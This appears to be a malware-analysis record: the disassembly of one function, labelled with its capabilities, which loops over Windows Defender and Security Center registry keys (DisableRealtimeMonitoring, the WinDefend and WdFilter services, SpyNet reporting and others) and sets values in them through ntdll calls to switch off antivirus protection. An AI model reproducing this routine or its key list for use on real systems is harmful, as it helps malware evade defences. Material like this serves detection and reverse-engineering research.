Function at 0x14005ee60
Capabilities:
Disable windows defender features via registry on windows
Persist via windows service
Set registry value

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x208
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x170], xmm6
mov qword [rbp + 0x168], 0xfffffffffffffffe
xor r13d, r13d
lea r12, str.RegistryMachineSOFTWAREPoliciesMicrosoftWindows_DefenderDisableAntiSpywareDisableAntiVirusRegistryMachineSOFTWAREPoliciesMicrosoftWindows_DefenderMpEngineMpEnablePusRegistryMachineSOFTWAREPoliciesMicrosoftWindows_DefenderReal_Time_ProtectionDisableBehaviorMonitoringDisableIOAVProtectionDisableOnAccessProtectionDisableRealtimeMonitoringDisableScanOnRealtimeEnableRegistryMachineSOFTWAREPoliciesMicrosoftWindows_DefenderReportingDisableEnhancedNotificationsRegistryMachineSOFTWAREPoliciesMicrosoftWindows_DefenderSpyNetDisableBlockAtFirstSeenSpynetReportingSubmitSamplesConsentRegistryMachineSystemCurrentControlSetControlWMIAutologgerDefenderApiLoggerStartRegistryMachineSystemCurrentControlSetControlWMIAutologgerDefenderAuditLoggerRegistryMachineSystemCurrentControlSetServicesWdBootRegistryMachineSystemCurrentControlSetServicesWdFilterRegistryMachineSystemCurrentControlSetServicesWdNisDrvRegistryMachineSystemCurrentControlSetServicesWdNisSvcRegistryMachineSystemCurrentControlSetServicesWinDefendRegistryMachineSOFTWAREWOW6432NodeMicrosoftSecurity_CenterFirewallOverrideFirewallDisableNotifyAntiSpywareOverrideAntiVirusOverrideAntiVirusDisableNotifyUpdatesOverrideUpdatesDisableNotify
xorps xmm6, xmm6
lea r14, [rbp - 0x40]
mov rsi, qword [0x1402600c0]
lea rdi, str.ICBM::regsrc_reg.rs
nop dword [rax]
cmp r13, 0x410
je 0x14005f625
mov rax, qword [r13 + r12]
mov rcx, qword [r13 + r12 + 8]
mov r15, qword [r13 + r12 + 0x10]
mov rbx, qword [r13 + r12 + 0x18]
mov edx, dword [r13 + r12 + 0x20]
mov qword [rbp + 0x88], rax
mov qword [rbp + 0x90], rcx
mov qword [rbp + 0x30], r15
mov qword [rbp + 0x38], rbx
mov dword [rbp + 0x10c], edx
add rcx, rax
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rcx
mov word [rbp + 0x20], 0
mov dword [rbp + 0x28], 1
lea rcx, [rbp + 0x60]
lea rdx, [rbp + 0x10]
call fcn.14002d4a0
mov eax, dword [rbp + 0x70]
add eax, eax
mov rcx, qword [rbp + 0x68]
mov word [rbp + 0x50], ax
mov word [rbp + 0x52], ax
mov qword [rbp + 0xc0], rcx
mov qword [rbp + 0x58], rcx
call fcn.140046d40
mov dword [rbp - 0x40], 0x30
mov qword [rbp - 0x38], rax
lea rax, [rbp + 0x50]
mov qword [rbp - 0x30], rax
mov dword [rbp - 0x28], 0
lea rax, [rbp - 0x20]
movups xmmword [rax], xmm6
call fcn.140046d40
mov qword [rbp + 0xc8], rax
lea rcx, [rbp + 0xc8]
mov edx, 0xf003f
mov r8, r14
call qword [sym.imp.ntdll.dll_ZwOpenKey]
add r13, 0x28
mov dword [rbp + 0xbc], eax
test eax, eax
je 0x14005f0e0
cmp eax, 0xc0000034
jne 0x14005f1a0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea rcx, [rbp + 0xc8]
mov edx, 0xf003f
mov r8, r14
xor r9d, r9d
call qword [sym.imp.ntdll.dll_ZwCreateKey]
mov dword [rbp + 0x78], eax
mov rcx, qword [rsi]
test eax, eax
je 0x14005f2a3
test rcx, rcx
je 0x14005f5fe
lea rax, [rbp + 0x78]
mov qword [rbp + 0xa0], rax
lea rax, [0x1401b7140]
mov qword [rbp + 0xa8], rax
mov qword [rbp + 0xd0], 2
mov qword [rbp + 0xe0], 2
mov qword [rbp + 0xf0], 0
movabs rax, 0x400000020
mov qword [rbp + 0xf8], rax
mov byte [rbp + 0x100], 3
lea rax, str.Failed_to_create_registry_key:_NTSTATUS_
mov qword [rbp + 0x138], rax
mov qword [rbp + 0x140], 1
lea rax, [rbp + 0xd0]
mov qword [rbp + 0x158], rax
mov qword [rbp + 0x160], 1
lea rax, [rbp + 0xa0]
mov qword [rbp + 0x148], rax
mov qword [rbp + 0x150], 1
lea rcx, [0x1401ca990]
call fcn.140128aa0
mov qword [rbp + 0x110], rdi
mov qword [rbp + 0x118], 9
mov qword [rbp + 0x120], rdi
mov qword [rbp + 0x128], 9
mov qword [rbp + 0x130], rax
mov edx, 1
lea rcx, [rbp + 0x138]
lea r8, [rbp + 0x110]
xor r9d, r9d
call fcn.1401289b0
jmp 0x14005f5fe
mov rax, qword [rsi]
cmp rax, 3
jb 0x14005f360
lea rax, [rbp + 0x88]
mov qword [rbp + 0x110], rax
lea rax, [0x140060230]
mov qword [rbp + 0x118], rax
lea rax, str.Successfully_opened_registry_key:
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], 1
mov qword [rbp + 0xf0], 0
lea rax, [rbp + 0x110]
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xe8], 1
lea rcx, [0x1401ca9e0]
call fcn.140128aa0
mov qword [rbp + 0x138], rdi
mov qword [rbp + 0x140], 9
mov qword [rbp + 0x148], rdi
mov qword [rbp + 0x150], 9
mov qword [rbp + 0x158], rax
mov edx, 3
lea rcx, [rbp + 0xd0]
lea r8, [rbp + 0x138]
xor r9d, r9d
call fcn.1401289b0
jmp 0x14005f360
mov rax, qword [rsi]
test rax, rax
je 0x14005f5fe
lea rax, [rbp + 0xbc]
mov qword [rbp + 0xa0], rax
lea rax, [0x1401b7140]
mov qword [rbp + 0xa8], rax
mov qword [rbp + 0xd0], 2
mov qword [rbp + 0xe0], 2
mov qword [rbp + 0xf0], 0
movabs rax, 0x400000020
mov qword [rbp + 0xf8], rax
mov byte [rbp + 0x100], 3
lea rax, str.Failed_to_open_registry_key:_NTSTATUS__
mov qword [rbp + 0x138], rax
mov qword [rbp + 0x140], 1
lea rax, [rbp + 0xd0]
mov qword [rbp + 0x158], rax
mov qword [rbp + 0x160], 1
lea rax, [rbp + 0xa0]
mov qword [rbp + 0x148], rax
mov qword [rbp + 0x150], 1
lea rcx, [0x1401cab00]
call fcn.140128aa0
mov qword [rbp + 0x110], rdi
mov qword [rbp + 0x118], 9
mov qword [rbp + 0x120], rdi
mov qword [rbp + 0x128], 9
mov qword [rbp + 0x130], rax
mov edx, 1
lea rcx, [rbp + 0x138]
lea r8, [rbp + 0x110]
xor r9d, r9d
call fcn.1401289b0
jmp 0x14005f5fe
cmp rcx, 3
jb 0x14005f360
lea rax, [rbp + 0x88]
mov qword [rbp + 0x110], rax
lea rax, [0x140060230]
mov qword [rbp + 0x118], rax
lea rax, str.Successfully_created_registry_key:
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], 1
mov qword [rbp + 0xf0], 0
lea rax, [rbp + 0x110]
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xe8], 1
lea rcx, [0x1401ca938]
call fcn.140128aa0
mov qword [rbp + 0x138], rdi
mov qword [rbp + 0x140], 9
mov qword [rbp + 0x148], rdi
mov qword [rbp + 0x150], 9
mov qword [rbp + 0x158], rax
mov edx, 3
lea rcx, [rbp + 0xd0]
lea r8, [rbp + 0x138]
xor r9d, r9d
call fcn.1401289b0
nop dword [rax + rax]
add rbx, r15
mov qword [rbp - 0x10], r15
mov qword [rbp - 8], rbx
mov word [rbp], 0
mov dword [rbp + 8], 1
lea rcx, [rbp + 0xa0]
lea rdx, [rbp - 0x10]
call fcn.14002d4a0
mov eax, dword [rbp + 0xb0]
lea ecx, [rax*2 - 2]
add eax, eax
mov rdx, qword [rbp + 0xa8]
mov word [rbp + 0x40], cx
mov word [rbp + 0x42], ax
mov qword [rbp + 0x98], rdx
mov qword [rbp + 0x48], rdx
mov rcx, qword [rbp + 0xc8]
lea rax, [rbp + 0x10c]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x28], 4
lea rdx, [rbp + 0x40]
xor r8d, r8d
mov r9d, 4
call qword [sym.imp.ntdll.dll_ZwSetValueKey]
mov dword [rbp + 0xb8], eax
mov rcx, qword [rsi]
test eax, eax
je 0x14005f4ea
test rcx, rcx
je 0x14005f5d0
lea rax, [rbp + 0xb8]
mov qword [rbp + 0x78], rax
lea rax, [0x1401b7140]
mov qword [rbp + 0x80], rax
mov qword [rbp + 0xd0], 2
mov qword [rbp + 0xe0], 2
mov qword [rbp + 0xf0], 0
movabs rax, 0x400000020
mov qword [rbp + 0xf8], rax
mov byte [rbp + 0x100], 3
lea rax, str.Failed_to_set_registry_key_value:_NTSTATUS_
mov qword [rbp + 0x138], rax
mov qword [rbp + 0x140], 1
lea rax, [rbp + 0xd0]
mov qword [rbp + 0x158], rax
mov qword [rbp + 0x160], 1
lea rax, [rbp + 0x78]
mov qword [rbp + 0x148], rax
mov qword [rbp + 0x150], 1
lea rcx, [0x1401caab0]
call fcn.140128aa0
mov qword [rbp + 0x110], rdi
mov qword [rbp + 0x118], 9
mov qword [rbp + 0x120], rdi
mov qword [rbp + 0x128], 9
mov qword [rbp + 0x130], rax
mov edx, 1
lea rcx, [rbp + 0x138]
lea r8, [rbp + 0x110]
xor r9d, r9d
call fcn.1401289b0
jmp 0x14005f5d0
cmp rcx, 3
jb 0x14005f5d0
lea rax, [rbp + 0x88]
mov qword [rbp + 0xd0], rax
lea rax, [0x140060230]
mov qword [rbp + 0xd8], rax
lea rcx, [rbp + 0x30]
mov qword [rbp + 0xe0], rcx
mov qword [rbp + 0xe8], rax
lea rax, [rbp + 0x10c]
mov qword [rbp + 0xf0], rax
lea rax, [0x1401b7d80]
mov qword [rbp + 0xf8], rax
lea rax, str.Successfully_set_registry_key_value:______
mov qword [rbp + 0x138], rax
mov qword [rbp + 0x140], 3
mov qword [rbp + 0x158], 0
lea rax, [rbp + 0xd0]
mov qword [rbp + 0x148], rax
mov qword [rbp + 0x150], 3
lea rcx, [0x1401caa58]
call fcn.140128aa0
mov qword [rbp + 0x110], rdi
mov qword [rbp + 0x118], 9
mov qword [rbp + 0x120], rdi
mov qword [rbp + 0x128], 9
mov qword [rbp + 0x130], rax
mov edx, 3
lea rcx, [rbp + 0x138]
lea r8, [rbp + 0x110]
xor r9d, r9d
call fcn.1401289b0
nop dword [rax]
mov rcx, qword [rbp + 0xc8]
call qword [sym.imp.ntdll.dll_ZwClose]
mov rdx, qword [rbp + 0xa0]
test rdx, rdx
je 0x14005f5fe
add rdx, rdx
mov r8d, 2
mov rcx, qword [rbp + 0x98]
call fcn.1400b4820
mov rdx, qword [rbp + 0x60]
test rdx, rdx
je 0x14005eeb0
add rdx, rdx
mov r8d, 2
mov rcx, qword [rbp + 0xc0]
call fcn.1400b4820
jmp 0x14005eeb0
movaps xmm6, xmmword [rbp + 0x170]
add rsp, 0x208
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret